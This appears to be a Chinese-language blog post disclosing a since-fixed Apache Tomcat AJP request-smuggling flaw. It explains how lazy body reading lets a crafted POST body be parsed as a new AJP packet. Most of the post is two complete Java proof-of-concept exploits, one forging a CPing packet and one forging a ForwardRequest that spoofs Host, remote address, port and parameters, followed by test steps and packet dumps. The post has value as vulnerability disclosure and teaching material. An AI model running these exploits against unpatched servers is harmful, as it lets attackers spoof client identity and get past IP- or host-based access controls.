此安全漏洞已修复,见https://issues.apache.org/bugzilla/show_bug.cgi?id=51698

建议升级Tomcat

部署到Tomcat上的应用一般会搭配一个Apache,

从浏览器(或其他UserAgent)发送的请求要经过两个协议才能转到Tomcat:

请求=>http协议=>Apache=>ajp协议=>Tomcat

从这个处理链来看,ajp协议数据包只能由Apache生成,

用户不能通过浏览器(或其他UserAgent)直接发送ajp协议数据包到Tomcat。

从Apache发送到Tomcat的ajp协议数据包主要有下面几种类型:

写道
类型代码类型说明
=================================================
2ForwardRequest从Apache转发过来的请求头
7Shutdown关闭Tomcat
10CPing心跳检测
没有Data从Apache转发过来的请求体

类型代码用1个字节表示,

Data类型没有类型代码,它的数据包的前两个字节表示包的长度,并且采用大端编码(BigEndian),

比如长度1792采用大端编码是0×0700,放到字节数组时,buf[0]=07,buf[1]=00

看到没有,如果长度等于1792,第一个字节buf[0]=07,也是Shutdown数据包的类型代码,

前面说了我们不能自己构造ajp协议数据包,

加上ForwardRequest和Data是一个整体,所以Data数据包一般情况不把它看成一条特殊指令,

不过奇迹总是可以发生的。

Tomcat是怎么处理ajp协议数据包的呢?

Shutdown和CPing不会有请求体,

所以Tomcat收到这两种类型的包后就马上处理了,然后返回响应,

ForwardRequest可以有Data,比如POST请求就可以有,

但是呢,Tomcat采用的是延迟读入策略,比如说POST请求体中包含了一个表单参数name=myname

只有当你在servlet中显示调用request.getParameter(“name”)时Tomcat才读入表单数据包,

如果你什么都不做,这个表单数据包还在InputStream中没被读出来,

此时Tomcat认为这个ForwardRequest已经处理完了,但是连接没有关闭,所以InputStream也没有关,

接着Tomcat继续处理下一个请求,这次它从InputStream中读出的是上次剩下的表单Data数据包,

当它取出这个数据包的第一个字节时,因为数据包长度的第一个字节可能是02、07、0A(10),

所以只要用心构造一个POST请求就能让Tomcat执行错误操作。

我们知道访问静态资源文件(比如html,jpg)是不会产生request.getParameter这样的调用的,

所以只要构造一个类似这样的请求就可以了:

POST http://127.0.0.1/index.html HTTP/1.0
Content-Length: 1792
......ohter headers.....
......body here...

这样一个请求理论上就能关掉Tomcat,

不过,Tomcat实际上忽略Shutdown数据包了(Jetty倒是实现了).

下面举两个例子:

//1. 伪造CPing
import java.io.PrintWriter;
import java.net.Socket;
public class CPingForgeryExample {
public static void main(String[] args) throws Exception {
System.out.println("Sending AJP CPing Packet...");
Socket socket = new Socket("localhost", 80);
int cPingPacketLength = 0x0A00; //0x0A 表示此数据包是一个CPing包
StringBuilder body = new StringBuilder(cPingPacketLength);
for (int i = 0; i < cPingPacketLength; i++)
body.append('a');
PrintWriter p = new PrintWriter(socket.getOutputStream());
// "/examples/index.html" 是一个静态文件,不会触发request.getParameter("xxx")
p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn");
p.print("Host: 127.0.0.1rn");
p.print("Content-Length: " + cPingPacketLength + "rn");
p.print("Connection: keep-alivern");
p.print("rn");
p.print(body.toString());
p.flush();
Thread.sleep(3000);
socket.close();
System.out.println("End");
}
}
/*
以下是测试步骤:
1: 配置mod_jk (参考http://tomcat.apache.org/connectors-doc/)
2: 启动tomcat7.0.20
3: 启动apache2.2
4: 编译
javac CPingForgeryExample.java
5: 运行
java CPingForgeryExample
dump output as flowing:
(just for demonstrating, not real output, if you want to see this output,
you need to modify the org.apache.coyote.ajp.AjpProcessor.read):
-----------------------------------------------------------------------------------------------
this is the first packet,
0x1234 indicate that this packet is sent from the apache server to the tomcat container
0x0075 indicate that this packet length is 117
buf len=4
---------------------------------------------------------------
12 34 00 75                                     | .4.u
---------------------------------------------------------------
0x02 is the Code-Type of packet, indicate that this packet is a 'Forward Request' packet.
buf len=117
---------------------------------------------------------------
02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../
65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h
74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1.
FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P
00 00 03 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1
00 A0 08 00 04 32 35 36 30 00 A0 06 00 0A 6B 65 | .?...2560.?...ke
65 70 2D 61 6C 69 76 65 00 06 00 07 54 6F 6D 63 | ep-alive....Tomc
61 74 41 00 FF                                  | atA.
---------------------------------------------------------------
this is the second packet,
buf len=4
---------------------------------------------------------------
12 34 0A 02                                     | .4..
---------------------------------------------------------------
0x0A is the Code-Type of packet, indicate that this packet is a 'CPing' packet.
buf len=2562
---------------------------------------------------------------
0A 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | ..aaaaaaaaaaaaaa
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | aaaaaaaaaaaaaaaa
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | aaaaaaaaaaaaaaaa
.....................
*/
//2. 伪造ForwardRequest
import java.io.*;
import java.net.Socket;
public class ForwardRequestForgeryExample {
public static void main(String[] args) throws Exception {
System.out.println("Sending AJP Forward-Request Packet...");
Socket socket = new Socket("localhost", 80);
//0x02 is the CodeType of ForwardRequest Packet
//0x04 is the "POST" method code
int bodyLength = 0x0204;
PrintStream p = new PrintStream(socket.getOutputStream());
// "/examples/index.html" is a static file, do not trigger request.getParameter("xxx")
p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn");
p.print("Host: 127.0.0.1rn");
p.print("Content-Length: " + bodyLength + "rn");
p.print("Connection: keep-alivern");
p.print("rn");
AjpMessage body = new AjpMessage(bodyLength);
body.appendString("HTTP/1.1"); //protocol
body.appendString("/examples/servlets/servlet/HelloWorldExample"); //requestURI
body.appendString("1.2.3.4"); //remoteAddr
body.appendString("foofoofoo"); //remoteHost
body.appendString("barbarbar"); //localName
body.appendInt(999); //localPort
body.appendByte(0); //isSSL
body.appendInt(3); //headers count
body.appendString("Host");
body.appendString("my.evil-site.com");
body.appendString("Content-Type");
body.appendString("application/x-www-form-urlencoded");
body.appendString("Content-Length");
//string length(2 bytes) + Content-Length digits(3 bytes) + terminating (1 byte) + 0xFF(1 byte)
int nestedBodyLength = bodyLength - body.getLen() - 2 - 3 - 1 - 1;
body.appendString(String.valueOf(nestedBodyLength));
body.appendByte(0xFF); //Terminates list of attributes
nestedBodyLength = nestedBodyLength - 2 - 1;
StringBuilder nestedBody = new StringBuilder(nestedBodyLength);
for (int i = 0; i < nestedBodyLength; i++)
nestedBody.append('a');
body.appendString(nestedBody.toString());
p.write(body.getBuffer(), 0, body.getLen());
p.flush();
p.print("POST http://127.0.0.1/examples/index.html HTTP/1/1rn");
p.print("Host: 127.0.0.1rn");
p.print("Content-Length: " + bodyLength + "rn");
p.print("Connection: keep-alivern");
//HelloWorldExample: request.getParameter("woo")
p.print("EvilHeader: =Who Care&woo=I am here&let it bern");
p.print("rn");
p.flush();
Thread.sleep(3000);
socket.close();
System.out.println("End");
}
public static class AjpMessage {
public AjpMessage(int packetSize) {
buf = new byte[packetSize];
}
protected byte buf[] = null;
protected int pos;
public byte[] getBuffer() {
return buf;
}
public void appendInt(int val) {
buf[pos++] = (byte) ((val >>> 8) & 0xFF);
buf[pos++] = (byte) (val & 0xFF);
}
public void appendByte(int val) {
buf[pos++] = (byte) val;
}
public void appendString(String str) {
if (str == null) {
appendInt(0);
appendByte(0);
return;
}
int len = str.length();
appendInt(len);
for (int i = 0; i < len; i++) {
char c = str.charAt(i);
if ((c <= 31) && (c != 9)) {
c = ' ';
} else if (c == 127) {
c = ' ';
}
appendByte(c);
}
appendByte(0);
}
public int getLen() {
return pos;
}
}
}
/*
test steps:
1: modify TOMCAT_HOMEwebappsexamplesWEB-INFclassesHelloWorldExample.java as flowing:
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class HelloWorldExample extends HttpServlet {
private static final long serialVersionUID = 1L;
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
doPost(request, response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
System.out.println("Invoke HelloWorldExample.doPost method:");
System.out.println("-------------------------------------------");
System.out.println("Host: " + request.getHeader("Host"));
System.out.println("RemoteAddr: " + request.getRemoteAddr());
System.out.println("LocalPort: " + request.getLocalPort());
System.out.println("woo: " + request.getParameter("woo"));
}
}
2  compile TOMCAT_HOMEwebappsexamplesWEB-INFclassesHelloWorldExample.java
3: config the mod_jk(refer to http://tomcat.apache.org/connectors-doc/
4: startup tomcat7.0.20
5: startup apache2.2
6: compile this example
javac ForwardRequestForgeryExample.java
7: run this example
java ForwardRequestForgeryExample
8: look at the tomcat console, you can see:
Invoke HelloWorldExample.doPost method:
-------------------------------------------
Host: my.evil-site.com
RemoteAddr: 1.2.3.4
LocalPort: 999
woo: I am here
9: open the browser, input http://127.0.0.1/examples/servlets/servlet/HelloWorldExample,
then look at the tomcat console, you can see:
Invoke HelloWorldExample.doPost method:
-------------------------------------------
Host: 127.0.0.1
RemoteAddr: 127.0.0.1
LocalPort: 80
woo: null
try again, input http://127.0.0.1:8080/examples/servlets/servlet/HelloWorldExample,
then look at the tomcat console, you can see:
Invoke HelloWorldExample.doPost method:
-------------------------------------------
Host: 127.0.0.1:8080
RemoteAddr: 127.0.0.1
LocalPort: 8080
woo: null
dump output as flowing:
(just for demonstrating, not real output, if you want to see this output,
you need to modify the org.apache.coyote.ajp.AjpProcessor.read):
-----------------------------------------------------------------------------------------------
buf len=4
---------------------------------------------------------------
12 34 00 74                                     | .4.t
---------------------------------------------------------------
buf len=116
---------------------------------------------------------------
02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../
65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h
74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1.
FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P
00 00 03 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1
00 A0 08 00 03 35 31 36 00 A0 06 00 0A 6B 65 65 | .?...516.?...kee
70 2D 61 6C 69 76 65 00 06 00 07 54 6F 6D 63 61 | p-alive....Tomca
74 41 00 FF                                     | tA.
---------------------------------------------------------------
buf len=4
---------------------------------------------------------------
12 34 02 06                                     | .4..
---------------------------------------------------------------
buf len=518
---------------------------------------------------------------
02 04 00 08 48 54 54 50 2F 31 2E 31 00 00 2C 2F | ....HTTP/1.1..,/
65 78 61 6D 70 6C 65 73 2F 73 65 72 76 6C 65 74 | examples/servlet
73 2F 73 65 72 76 6C 65 74 2F 48 65 6C 6C 6F 57 | s/servlet/HelloW
6F 72 6C 64 45 78 61 6D 70 6C 65 00 00 07 31 2E | orldExample...1.
32 2E 33 2E 34 00 00 09 66 6F 6F 66 6F 6F 66 6F | 2.3.4...foofoofo
6F 00 00 09 62 61 72 62 61 72 62 61 72 00 03 E7 | o...barbarbar..?
00 00 03 00 04 48 6F 73 74 00 00 10 6D 79 2E 65 | .....Host...my.e
76 69 6C 2D 73 69 74 65 2E 63 6F 6D 00 00 0C 43 | vil-site.com...C
6F 6E 74 65 6E 74 2D 54 79 70 65 00 00 21 61 70 | ontent-Type..!ap
70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D | plication/x-www-
66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 00 | form-urlencoded.
00 0E 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 | ..Content-Length
00 00 03 33 31 38 00 FF 01 3B 61 61 61 61 61 61 | ...318..;aaaaaa
.................................................
61 61 61 61 61 00                               | aaaaa.
---------------------------------------------------------------
Invoke HelloWorldExample.doPost method:
-------------------------------------------
Host: my.evil-site.com
RemoteAddr: 1.2.3.4
LocalPort: 999
buf len=4
---------------------------------------------------------------
12 34 00 A5                                     | .4.?
---------------------------------------------------------------
buf len=165
---------------------------------------------------------------
02 04 00 08 48 54 54 50 2F 31 2F 31 00 00 14 2F | ....HTTP/1/1.../
65 78 61 6D 70 6C 65 73 2F 69 6E 64 65 78 2E 68 | examples/index.h
74 6D 6C 00 00 09 31 32 37 2E 30 2E 30 2E 31 00 | tml...127.0.0.1.
FF FF 00 09 31 32 37 2E 30 2E 30 2E 31 00 00 50 | ..127.0.0.1..P
00 00 04 A0 0B 00 09 31 32 37 2E 30 2E 30 2E 31 | ...?...127.0.0.1
00 A0 08 00 03 35 31 36 00 A0 06 00 0A 6B 65 65 | .?...516.?...kee
70 2D 61 6C 69 76 65 00 00 0A 45 76 69 6C 48 65 | p-alive...EvilHe
61 64 65 72 00 00 21 3D 57 68 6F 20 43 61 72 65 | ader..!=Who Care
26 77 6F 6F 3D 49 20 61 6D 20 68 65 72 65 26 6C | &woo=I am here&l
65 74 20 69 74 20 62 65 00 06 00 07 54 6F 6D 63 | et it be....Tomc
61 74 41 00 FF                                  | atA.
---------------------------------------------------------------
woo: I am here
buf len=4
---------------------------------------------------------------
12 34 00 02                                     | .4..
---------------------------------------------------------------
buf len=2
---------------------------------------------------------------
00 00                                           | ..
---------------------------------------------------------------
*/